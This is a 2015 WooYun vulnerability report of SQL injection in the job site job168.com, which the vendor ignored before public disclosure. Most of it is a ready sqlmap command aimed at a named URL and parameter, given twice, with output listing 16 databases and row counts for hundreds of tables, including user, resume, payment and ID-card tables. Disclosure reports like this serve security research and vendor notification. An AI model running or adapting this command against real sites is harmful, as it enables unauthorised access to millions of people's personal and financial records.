当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0155516

漏洞标题:南方人才网SQL注入漏洞200多万用户

相关厂商:job168.com

漏洞作者: 蒙面客

提交时间:2015-11-24 15:04

修复时间:2015-11-29 15:06

公开时间:2015-11-29 15:06

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-24: 细节已通知厂商并且等待厂商处理中
2015-11-29: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

注入漏洞一枚。16个库。百万用户。

详细说明:

sqlmap.py -u "http://www.job168.com/paper/e_show.jsp?issue_no=279&page_name=B1&photo=photo_thumb" -p "page_name" --dbs
available databases [16]:
[*] BBS
[*] CORE
[*] DBSNMP
[*] GQORS
[*] GZZP
[*] IPTV
[*] NFRC
[*] OEM_JOB168_CPXT
[*] PERFSTAT
[*] PIORS
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TEST
[*] TSMSYS
[*] WMSYS
Database: NFRC
+-------------------------------+---------+
| Table | Entries |
+-------------------------------+---------+
| P_TASK_LOG | 42468842 |
| P_VISIT_LOG | 17935437 |
| TALENT_KEYWORD_LOG | 17418267 |
| APPLYLOG_BK | 16593718 |
| AD_STAT | 10882245 |
| C_OP_LOG | 7580442 |
| EMAIL_LOG | 7011894 |
| C_TRACER | 5090259 |
| P_EXP | 3545824 |
| C_FAVORITE | 3056225 |
| ALEXA | 2722034 |
| GLOBAL_USER | 2544783 |
| PERSON_BACKUP | 2267676 |
| P_CUSTOM | 2114923 |
| UNIT_KEYWORD_LOG | 1938908 |
| P_EDUC | 1761191 |
| CYDS_VOTE | 1657813 |
| SMS_WHITELIST | 1626218 |
| C_CUSTOM | 1169345 |
| APP_LOG | 853130 |
| RECRUIT_BK | 833408 |
| P_SEARCH_LOG | 637572 |
| ZSQZTLOG | 594666 |
| H_CANDIDATE | 550200 |
| H_CHANGE | 534002 |
| LINK_CLICK_LOG | 522460 |
| INVEST | 505635 |
| H_C_EXP_BK | 423608 |
| COMPANY_BACKUP | 400694 |
| COMPANY | 347466 |
| FEEDBACK | 303118 |
| MEMBERFEE_BK | 265067 |
| P | 229734 |
| TAG_MAP | 226180 |
| ALEXA_PRIZE | 221333 |
| RECRUIT_RECYCLED | 191239 |
| H_C_EDUC_BK | 157118 |
| JOB168E_REPLY | 133266 |
| ANGEL_P | 130901 |
| H_APPLYLOG | 124520 |
| AD_AUTO | 120729 |
| TMP_EMAIL_LOG | 116317 |
| C_AD | 101686 |
| MEMBERFEE | 91537 |
| MEMBERFEE2 | 76268 |
| JOB168BABY_VOTE_LOG | 71583 |
| CHAT_SESSION | 60080 |
| ASSIGN | 59910 |
| SMS_NO_ID | 58524 |
| DEVELOP_ASSIGN | 56680 |
| C_FAVORITE_TYPE | 55140 |
| C_HRA_TRACER | 54712 |
| SHOP_CUSTOMER | 53083 |
| PERSON_SYNC | 51704 |
| PAYMENTLOG | 39736 |
| C_EXT_FEE | 38891 |
| PP | 35145 |
| CUSTOMER_MOBILE | 32750 |
| P_SEND_FRIEND | 28676 |
| RESUME | 21049 |
| HRA_LAW | 16172 |
| OAUTH_CONNECT | 15172 |
| OV_TRANSACTION | 12399 |
| SMS_WHITELIST_APPLY | 12347 |
| QUERYPASS2LOG | 11706 |
| HRA_S_BASE_DATA_2012 | 11448 |
| HRA_S_BASE_DATA_2010 | 11096 |
| EDM_TMP | 11000 |
| ACTIVELOG | 10964 |
| H_COMPANY | 10465 |
| CARD | 10000 |
| GZ_GRADUATE | 9998 |
| H_SERVICE | 9709 |
| SMS_TEMP | 9431 |
| Q_PAPER | 9139 |
| P_FEE_HISTORY | 8839 |
| C_ATTACHMENT | 8778 |
| P_SMS_SVC | 7800 |
| P_EVAL_NEW | 6986 |
| SHOP_COUPON | 6021 |
| P_EXT_FEE | 5856 |
| H_CANDIDATE_BAK | 5770 |
| SHOP_GOODS_PIC | 5662 |
| SHOP_ORDER | 5619 |
| HRA_S_POSITION_STAT_07 | 5276 |
| ENTRY_EDUC | 5274 |
| HRA_S_POSITION_STAT | 5236 |
| SALARY_POSITION | 5236 |
| MAILDS_OPEN_LOG | 5154 |
| H_SERVICE_BK | 5137 |
| P_EVAL | 5045 |
| H_VISIT_LOG | 5008 |
| ANGEL_P_BK | 5000 |
| P_XQT | 4829 |
| AGENCY_TRACER | 4826 |
| MAIL_SUBSCRIPT | 4709 |
| MEETING_APPLY_RECRUIT | 4533 |
| SHOP_GOODS_BELONG | 3836 |
| P_ID | 3720 |
| ENTRY | 3717 |
| H_RECRUIT | 3714 |
| H_R_EXP | 3579 |
| IND_POPULOR_WORD | 3486 |
| RCJ_SCORE | 3480 |
| UNIONPAY | 3410 |
| P_ARTICLE | 3356 |
| TRAIN_COURSE | 3208 |
| X_COMPANY_FEE | 2822 |
| H_TRACE_BK | 2638 |
| H_FEEDBACK | 2606 |
| HRA_S_SAMPLE_ANALYSIS_2012 | 2544 |
| SCHOOL_RECRUITLOG | 2442 |
| STUDENT_ASSIGN | 2338 |
| HRA_S_DETAIL_FACTOR_2010 | 2336 |
| HRA_S_LOC_FACTOR_2010 | 2336 |
| HRA_S_SAMPLE_ANALYSIS_2010 | 2336 |
| SCHOOL_REQ | 2231 |
| ENTRY_OTHER | 2229 |
| EXAM_RESEARCH | 2067 |
| O_APPLYLOG | 2053 |
| PERSON_TEMPLATE | 2025 |
| H_TRACE | 2019 |
| SMS_NUMBER2 | 2000 |
| TEMP_PERSON | 1953 |
| TRAIN_ORGAN | 1909 |
| HRA_S_DEGREE_FACTOR_2012 | 1908 |
| SHOP_GOODS | 1890 |
| H_SEARCH | 1884 |
| TMP_ASSIGN | 1816 |
| ENTRY_SCORE | 1674 |
| HRA_S_PROPERTY_FACTOR_2012 | 1590 |
| RECRUIT_PYZP | 1465 |
| HRA_S_PROPERTY_FACTOR_2010 | 1460 |
| PERSON_SKILL | 1253 |
| P_ARTICLE_BK | 1225 |
| CYDS_ARTICLE | 1179 |
| P_EXT_FEE2 | 1155 |
| EXAM_TUTO_TAKE | 1104 |
| JOB168BABY_GUESS | 1062 |
| QUARTER_SUM | 847 |
| TRAIN_PAYMENTLOG | 823 |
| TEMP_COMPANY | 821 |
| C_PICTURE | 789 |
| SURVEY2 | 774 |
| P_CERT | 681 |
| Q_BODY | 672 |
| H_DEL_LOG | 642 |
| H_PACT2 | 640 |
| HUNTER_RECRUIT | 622 |
| SALARY_SAMPLEANALYSIS | 584 |
| PRICE_C_CUSTOM | 552 |
| CYDS_SCORE_2012 | 535 |
| P_ARMY | 529 |
| SHOP_REPORT | 524 |
| ID5ADJ | 492 |
| P_COLLECT | 477 |
| CYDS_PROJ_BAK | 455 |
| TRAIN_ORGAN_FEE | 428 |
| REFERRER_TEMP | 427 |
| PREPARE_COMPANY | 421 |
| H_APPRAISE | 402 |
| ASSIGN2 | 397 |
| GZSA | 360 |
| H_TRACE2 | 343 |
| MEETING_SIGNIN | 331 |
| C_JYPPH | 326 |
| CC | 320 |
| HRA_S_POSITION_2012 | 318 |
| OP200910301316 | 292 |
| OP | 289 |
| DIC_FIELD | 273 |
| LOG114 | 250 |
| TRAIN_ORGAN_FEE_BK | 245 |
| HUNTER_COMPANY | 239 |
| EMAIL_TEMPLATE | 207 |
| C_SURVEY | 199 |
| DELIVERY_COMPANY | 198 |
| HRA_COMPETENCY | 189 |
| ACTIVEEMAIL | 182 |
| P_OTHER | 162 |
| FIFA_FANS | 160 |
| SALARY_DESCRIPTION | 160 |
| SALARY_DESCRIPTION_07 | 160 |
| IDCARD_TEMP | 157 |
| SHOWCASE | 154 |
| TRAINING | 148 |
| CUSTOM_INFO | 146 |
| SIGNUP | 145 |
| DIC_REGION | 138 |
| CYDS_SCHOOL | 135 |
| O_RECRUIT | 134 |
| INTOGZ_RECRUIT | 129 |
| MAP2010_REGION | 122 |
| P_AUTH | 121 |
| DXC_SOLD | 120 |
| DIC_OPERATOR | 116 |
| AGENCY_MATERIAL | 106 |
| FROM2FUTURE | 101 |
| INFO_REPLY | 98 |
| OK309_USER | 87 |
| EXAM_SEND_SMS | 83 |
| SHOP_GOODS_TYPE | 81 |
| JOB_FAIR | 80 |
| SALESMAN | 78 |
| APP_FEEDBACK | 72 |
| O_COMPANY | 65 |
| HUNTER_PERSON | 64 |
| H_EMAIL | 63 |
| SCHOLAR | 60 |
| NETPAY_OUTLET | 59 |
| DIC_FUNC_TYPE | 58 |
| PERSON_STATICS | 58 |
| CYDS_USERS | 57 |
| INTOGZ_COMPANY | 52 |
| PRICE_C_NP | 51 |
| JOB168E_TMP | 50 |
| JOB168E_TMP2 | 50 |
| JOB168E_TMP3 | 50 |
| JZ_FAQ | 50 |
| STATISTIC_CUSTOM | 49 |
| SMS_CUSTOM | 46 |
| SURVEY_REPT | 45 |
| DIC_COURSE2 | 40 |
| SMS | 40 |
| BLOG_ARTICLE | 39 |
| CYDS_SCHOOL_2012 | 39 |
| S_SIGNUP | 38 |
| TBBBSORTS | 35 |
| COMPANY_FIELD | 34 |
| PERSON_FIELD | 34 |
| COMPANY_WORKLOC | 33 |
| PERSON_WORKLOC | 33 |
| SALARY_STAT | 33 |
| FIFA_TEAM | 32 |
| BLOG_INFO | 30 |
| HRA_S_INDUSTRY_07 | 29 |
| SALARY_INDUSTRYCOEFFICIENT_07 | 29 |
| COMPANY_APPLYFUNC | 28 |
| PT_APP_REGIST | 28 |
| PERSON_APPLYFUNC | 27 |
| POCO_SERVICE_BUY | 25 |
| RECRUIT_APPLY_RELATED | 23 |
| SHOP_STRATEGY | 23 |
| RCJ_USERS | 20 |
| WXPAY | 18 |
| DIC_MEMBER_TYPE | 17 |
| EVAL_MODEL | 16 |
| P_SERVICE | 16 |
| X_TRACE | 15 |
| NEWSPAPER_SECOND | 14 |
| JZ_USER_ACCESS | 13 |
| TRAIN_CONSUME_LOG | 13 |
| C_ATTACHMENT_HISTORY | 12 |
| DIC_H_CLIENT | 11 |
| EXAM_TUTORIAL | 11 |
| HRA_TEMP_TYPE | 11 |
| DIC_PROPERTY | 10 |
| DIC_SALARY | 10 |
| TEMP_USER | 10 |
| HRA_S_CITY_07 | 9 |
| ROBIN_EXCEL_COMPANY | 9 |
| SALARY_CITYCOEFFICIENT | 9 |
| SALARY_CITYCOEFFICIENT_07 | 9 |
| DIC_COURSE1 | 8 |
| DIC_LANGUAGE | 8 |
| FEEDBACK3 | 8 |
| PERSON_DEGREE | 8 |
| SCHOOL_STUDINFO | 8 |
| BLOG_RANK | 7 |
| COMPANY_DEGREE | 7 |
| JZ_ACCESS | 7 |
| PERSON_WORKYEARS | 7 |
| Q_EXPR | 7 |
| DATAYEAR | 6 |
| DIC_BLOG_TMPL | 6 |
| DIC_EMPNUM | 6 |
| DIC_TALENT_TYPE | 6 |
| FAIR_APPLY_STALL | 6 |
| SHOP_BUSINESS_LIMITS | 6 |
| DIC_FUND | 5 |
| BLOG_MSG | 4 |
| DIC_SCHOOL_KIND | 4 |
| EMAIL_SETTING | 4 |
| PT_BASE | 4 |
| DIC_DEPT | 3 |
| DIC_H_COOPERATE | 3 |
| DIC_AUTH | 2 |
| TRAIN_APPLY2 | 2 |
| EXAM_SIGNIN | 1 |
| PRICE_C_VER | 1 |
| PT_C_COMPLAINT | 1 |
| PT_CERT | 1 |
| PT_PROJ | 1 |
| SHOP_HRCOST | 1 |
| SHOP_MEMBER_LEVEL | 1 |
+-------------------------------+---------+

漏洞证明:

sqlmap.py -u "http://www.job168.com/paper/e_show.jsp?issue_no=279&page_name=B1&photo=photo_thumb" -p "page_name" --dbs
available databases [16]:
[*] BBS
[*] CORE
[*] DBSNMP
[*] GQORS
[*] GZZP
[*] IPTV
[*] NFRC
[*] OEM_JOB168_CPXT
[*] PERFSTAT
[*] PIORS
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TEST
[*] TSMSYS
[*] WMSYS
Database: NFRC
+-------------------------------+---------+
| Table | Entries |
+-------------------------------+---------+
| P_TASK_LOG | 42468842 |
| P_VISIT_LOG | 17935437 |
| TALENT_KEYWORD_LOG | 17418267 |
| APPLYLOG_BK | 16593718 |
| AD_STAT | 10882245 |
| C_OP_LOG | 7580442 |
| EMAIL_LOG | 7011894 |
| C_TRACER | 5090259 |
| P_EXP | 3545824 |
| C_FAVORITE | 3056225 |
| ALEXA | 2722034 |
| GLOBAL_USER | 2544783 |
| PERSON_BACKUP | 2267676 |
| P_CUSTOM | 2114923 |
| UNIT_KEYWORD_LOG | 1938908 |
| P_EDUC | 1761191 |
| CYDS_VOTE | 1657813 |
| SMS_WHITELIST | 1626218 |
| C_CUSTOM | 1169345 |
| APP_LOG | 853130 |
| RECRUIT_BK | 833408 |
| P_SEARCH_LOG | 637572 |
| ZSQZTLOG | 594666 |
| H_CANDIDATE | 550200 |
| H_CHANGE | 534002 |
| LINK_CLICK_LOG | 522460 |
| INVEST | 505635 |
| H_C_EXP_BK | 423608 |
| COMPANY_BACKUP | 400694 |
| COMPANY | 347466 |
| FEEDBACK | 303118 |
| MEMBERFEE_BK | 265067 |
| P | 229734 |
| TAG_MAP | 226180 |
| ALEXA_PRIZE | 221333 |
| RECRUIT_RECYCLED | 191239 |
| H_C_EDUC_BK | 157118 |
| JOB168E_REPLY | 133266 |
| ANGEL_P | 130901 |
| H_APPLYLOG | 124520 |
| AD_AUTO | 120729 |
| TMP_EMAIL_LOG | 116317 |
| C_AD | 101686 |
| MEMBERFEE | 91537 |
| MEMBERFEE2 | 76268 |
| JOB168BABY_VOTE_LOG | 71583 |
| CHAT_SESSION | 60080 |
| ASSIGN | 59910 |
| SMS_NO_ID | 58524 |
| DEVELOP_ASSIGN | 56680 |
| C_FAVORITE_TYPE | 55140 |
| C_HRA_TRACER | 54712 |
| SHOP_CUSTOMER | 53083 |
| PERSON_SYNC | 51704 |
| PAYMENTLOG | 39736 |
| C_EXT_FEE | 38891 |
| PP | 35145 |
| CUSTOMER_MOBILE | 32750 |
| P_SEND_FRIEND | 28676 |
| RESUME | 21049 |
| HRA_LAW | 16172 |
| OAUTH_CONNECT | 15172 |
| OV_TRANSACTION | 12399 |
| SMS_WHITELIST_APPLY | 12347 |
| QUERYPASS2LOG | 11706 |
| HRA_S_BASE_DATA_2012 | 11448 |
| HRA_S_BASE_DATA_2010 | 11096 |
| EDM_TMP | 11000 |
| ACTIVELOG | 10964 |
| H_COMPANY | 10465 |
| CARD | 10000 |
| GZ_GRADUATE | 9998 |
| H_SERVICE | 9709 |
| SMS_TEMP | 9431 |
| Q_PAPER | 9139 |
| P_FEE_HISTORY | 8839 |
| C_ATTACHMENT | 8778 |
| P_SMS_SVC | 7800 |
| P_EVAL_NEW | 6986 |
| SHOP_COUPON | 6021 |
| P_EXT_FEE | 5856 |
| H_CANDIDATE_BAK | 5770 |
| SHOP_GOODS_PIC | 5662 |
| SHOP_ORDER | 5619 |
| HRA_S_POSITION_STAT_07 | 5276 |
| ENTRY_EDUC | 5274 |
| HRA_S_POSITION_STAT | 5236 |
| SALARY_POSITION | 5236 |
| MAILDS_OPEN_LOG | 5154 |
| H_SERVICE_BK | 5137 |
| P_EVAL | 5045 |
| H_VISIT_LOG | 5008 |
| ANGEL_P_BK | 5000 |
| P_XQT | 4829 |
| AGENCY_TRACER | 4826 |
| MAIL_SUBSCRIPT | 4709 |
| MEETING_APPLY_RECRUIT | 4533 |
| SHOP_GOODS_BELONG | 3836 |
| P_ID | 3720 |
| ENTRY | 3717 |
| H_RECRUIT | 3714 |
| H_R_EXP | 3579 |
| IND_POPULOR_WORD | 3486 |
| RCJ_SCORE | 3480 |
| UNIONPAY | 3410 |
| P_ARTICLE | 3356 |
| TRAIN_COURSE | 3208 |
| X_COMPANY_FEE | 2822 |
| H_TRACE_BK | 2638 |
| H_FEEDBACK | 2606 |
| HRA_S_SAMPLE_ANALYSIS_2012 | 2544 |
| SCHOOL_RECRUITLOG | 2442 |
| STUDENT_ASSIGN | 2338 |
| HRA_S_DETAIL_FACTOR_2010 | 2336 |
| HRA_S_LOC_FACTOR_2010 | 2336 |
| HRA_S_SAMPLE_ANALYSIS_2010 | 2336 |
| SCHOOL_REQ | 2231 |
| ENTRY_OTHER | 2229 |
| EXAM_RESEARCH | 2067 |
| O_APPLYLOG | 2053 |
| PERSON_TEMPLATE | 2025 |
| H_TRACE | 2019 |
| SMS_NUMBER2 | 2000 |
| TEMP_PERSON | 1953 |
| TRAIN_ORGAN | 1909 |
| HRA_S_DEGREE_FACTOR_2012 | 1908 |
| SHOP_GOODS | 1890 |
| H_SEARCH | 1884 |
| TMP_ASSIGN | 1816 |
| ENTRY_SCORE | 1674 |
| HRA_S_PROPERTY_FACTOR_2012 | 1590 |
| RECRUIT_PYZP | 1465 |
| HRA_S_PROPERTY_FACTOR_2010 | 1460 |
| PERSON_SKILL | 1253 |
| P_ARTICLE_BK | 1225 |
| CYDS_ARTICLE | 1179 |
| P_EXT_FEE2 | 1155 |
| EXAM_TUTO_TAKE | 1104 |
| JOB168BABY_GUESS | 1062 |
| QUARTER_SUM | 847 |
| TRAIN_PAYMENTLOG | 823 |
| TEMP_COMPANY | 821 |
| C_PICTURE | 789 |
| SURVEY2 | 774 |
| P_CERT | 681 |
| Q_BODY | 672 |
| H_DEL_LOG | 642 |
| H_PACT2 | 640 |
| HUNTER_RECRUIT | 622 |
| SALARY_SAMPLEANALYSIS | 584 |
| PRICE_C_CUSTOM | 552 |
| CYDS_SCORE_2012 | 535 |
| P_ARMY | 529 |
| SHOP_REPORT | 524 |
| ID5ADJ | 492 |
| P_COLLECT | 477 |
| CYDS_PROJ_BAK | 455 |
| TRAIN_ORGAN_FEE | 428 |
| REFERRER_TEMP | 427 |
| PREPARE_COMPANY | 421 |
| H_APPRAISE | 402 |
| ASSIGN2 | 397 |
| GZSA | 360 |
| H_TRACE2 | 343 |
| MEETING_SIGNIN | 331 |
| C_JYPPH | 326 |
| CC | 320 |
| HRA_S_POSITION_2012 | 318 |
| OP200910301316 | 292 |
| OP | 289 |
| DIC_FIELD | 273 |
| LOG114 | 250 |
| TRAIN_ORGAN_FEE_BK | 245 |
| HUNTER_COMPANY | 239 |
| EMAIL_TEMPLATE | 207 |
| C_SURVEY | 199 |
| DELIVERY_COMPANY | 198 |
| HRA_COMPETENCY | 189 |
| ACTIVEEMAIL | 182 |
| P_OTHER | 162 |
| FIFA_FANS | 160 |
| SALARY_DESCRIPTION | 160 |
| SALARY_DESCRIPTION_07 | 160 |
| IDCARD_TEMP | 157 |
| SHOWCASE | 154 |
| TRAINING | 148 |
| CUSTOM_INFO | 146 |
| SIGNUP | 145 |
| DIC_REGION | 138 |
| CYDS_SCHOOL | 135 |
| O_RECRUIT | 134 |
| INTOGZ_RECRUIT | 129 |
| MAP2010_REGION | 122 |
| P_AUTH | 121 |
| DXC_SOLD | 120 |
| DIC_OPERATOR | 116 |
| AGENCY_MATERIAL | 106 |
| FROM2FUTURE | 101 |
| INFO_REPLY | 98 |
| OK309_USER | 87 |
| EXAM_SEND_SMS | 83 |
| SHOP_GOODS_TYPE | 81 |
| JOB_FAIR | 80 |
| SALESMAN | 78 |
| APP_FEEDBACK | 72 |
| O_COMPANY | 65 |
| HUNTER_PERSON | 64 |
| H_EMAIL | 63 |
| SCHOLAR | 60 |
| NETPAY_OUTLET | 59 |
| DIC_FUNC_TYPE | 58 |
| PERSON_STATICS | 58 |
| CYDS_USERS | 57 |
| INTOGZ_COMPANY | 52 |
| PRICE_C_NP | 51 |
| JOB168E_TMP | 50 |
| JOB168E_TMP2 | 50 |
| JOB168E_TMP3 | 50 |
| JZ_FAQ | 50 |
| STATISTIC_CUSTOM | 49 |
| SMS_CUSTOM | 46 |
| SURVEY_REPT | 45 |
| DIC_COURSE2 | 40 |
| SMS | 40 |
| BLOG_ARTICLE | 39 |
| CYDS_SCHOOL_2012 | 39 |
| S_SIGNUP | 38 |
| TBBBSORTS | 35 |
| COMPANY_FIELD | 34 |
| PERSON_FIELD | 34 |
| COMPANY_WORKLOC | 33 |
| PERSON_WORKLOC | 33 |
| SALARY_STAT | 33 |
| FIFA_TEAM | 32 |
| BLOG_INFO | 30 |
| HRA_S_INDUSTRY_07 | 29 |
| SALARY_INDUSTRYCOEFFICIENT_07 | 29 |
| COMPANY_APPLYFUNC | 28 |
| PT_APP_REGIST | 28 |
| PERSON_APPLYFUNC | 27 |
| POCO_SERVICE_BUY | 25 |
| RECRUIT_APPLY_RELATED | 23 |
| SHOP_STRATEGY | 23 |
| RCJ_USERS | 20 |
| WXPAY | 18 |
| DIC_MEMBER_TYPE | 17 |
| EVAL_MODEL | 16 |
| P_SERVICE | 16 |
| X_TRACE | 15 |
| NEWSPAPER_SECOND | 14 |
| JZ_USER_ACCESS | 13 |
| TRAIN_CONSUME_LOG | 13 |
| C_ATTACHMENT_HISTORY | 12 |
| DIC_H_CLIENT | 11 |
| EXAM_TUTORIAL | 11 |
| HRA_TEMP_TYPE | 11 |
| DIC_PROPERTY | 10 |
| DIC_SALARY | 10 |
| TEMP_USER | 10 |
| HRA_S_CITY_07 | 9 |
| ROBIN_EXCEL_COMPANY | 9 |
| SALARY_CITYCOEFFICIENT | 9 |
| SALARY_CITYCOEFFICIENT_07 | 9 |
| DIC_COURSE1 | 8 |
| DIC_LANGUAGE | 8 |
| FEEDBACK3 | 8 |
| PERSON_DEGREE | 8 |
| SCHOOL_STUDINFO | 8 |
| BLOG_RANK | 7 |
| COMPANY_DEGREE | 7 |
| JZ_ACCESS | 7 |
| PERSON_WORKYEARS | 7 |
| Q_EXPR | 7 |
| DATAYEAR | 6 |
| DIC_BLOG_TMPL | 6 |
| DIC_EMPNUM | 6 |
| DIC_TALENT_TYPE | 6 |
| FAIR_APPLY_STALL | 6 |
| SHOP_BUSINESS_LIMITS | 6 |
| DIC_FUND | 5 |
| BLOG_MSG | 4 |
| DIC_SCHOOL_KIND | 4 |
| EMAIL_SETTING | 4 |
| PT_BASE | 4 |
| DIC_DEPT | 3 |
| DIC_H_COOPERATE | 3 |
| DIC_AUTH | 2 |
| TRAIN_APPLY2 | 2 |
| EXAM_SIGNIN | 1 |
| PRICE_C_VER | 1 |
| PT_C_COMPLAINT | 1 |
| PT_CERT | 1 |
| PT_PROJ | 1 |
| SHOP_HRCOST | 1 |
| SHOP_MEMBER_LEVEL | 1 |
+-------------------------------+---------+

修复方案:

版权声明:转载请注明来源 蒙面客@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-11-29 15:06

厂商回复:

漏洞Rank:8 (WooYun评价)

最新状态:

暂无